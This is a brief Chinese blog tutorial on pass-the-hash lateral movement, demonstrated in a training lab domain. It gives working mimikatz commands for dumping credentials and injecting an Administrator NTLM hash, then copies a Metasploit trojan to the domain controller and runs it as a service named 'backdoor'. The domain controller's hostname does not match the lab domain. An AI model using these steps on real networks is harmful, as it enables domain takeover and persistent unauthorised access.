浅淡hash传递

  1. 浅淡hash传递
  2. 简介
  3. 原理
  4. 简单实操

浅淡hash传递

本文只是粗略介绍一些hash传递,后续会发获取hash和hash传递方法的总结。

简介

Pass The Hash 即PTH,也是内网渗透中较为常见的一个术语,就是通过传递Windwos 本地账户或者域用户的hash值,达到控制其他服务器的目的

在进入企业内网之后,如果是Windows PC或者服务器较多的环境,极有可能会使用到hash传递来进行内网的横传,现在企业内部一般对于口令强度均有一定的要求,抓取到本地hash后可能无法进行破解,同时从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash.在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,这时可以通过传递hash来进行横传。

原理

hash 传递的原理是在认证过程中,并不是直接使用用户的密码进行认证的,而是使用用户的hash值,因此,攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码。在Windows系统中,通常会使用NTLM身份认证,NTLM是口令加密后的hash值。PTH是基于smb服务(139端口和445 端口)

简单实操

首先用红日靶场1现成的环境搭建一个域环境,一共三台机器,一个web服务器,一个dc,一个域成员。

现在模拟拿下了web服务器了,上传猕猴桃。

首先用minikatz获取用户名和hash//需要管理员权限
privilege::debug
sekurlsa::logonpasswords

虽然机器上抓到了明文密码,但是我们模拟没有抓到明文密码的情况

image-20230316161943981

现在拿域管理员的ntlm了

然后,在 Windows 7 上用 mimikatz 将获取的 Administrator 的 Hash 添加进 lsass 进程中:

privilege::debug
sekurlsa::pth /user:Administrator /domain:GOD /ntlm:8a963371a63944419ec1adf687bb1be5

成功,此时会自动弹出一个新的cmd窗口,这时访问远程主机或服务,就不用提供明文密码了,如下,我们列出了域控制器 DC 的c盘目录:

dir  \\192.168.52.138\c$

image-20230316163307037

image-20230316163524101

mimikatz.exe privilege::debug "sekurlsa::pth /domain:GOD /user:Administrator /ntlm:8a963371a63944419ec1adf687bb1be5 /run:cmd.exe" 

此时,为了让域控制器 DC 上线 Metasploit,我们只需做以下工作。

生成一个msf木马shell.exe,将shell.exe上传到Windows 7主机,然后直接使用 copy 命令将shell.exe复制到域控上:

copy shell.exe \\DC.whoamianony.org\c$    // 将 shell.exe 复制到域控主机上
sc \\DC.whoamianony.org create backdoor binpath= "c:\shell.exe"// 在域控上创建服务启动木马
sc \\DC.whoamianony.org start backdoor     // 在域控上立即启动该服务
sc \\DC.whoamianony.org delete backdoor     // 在域控上立即删除该服务

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。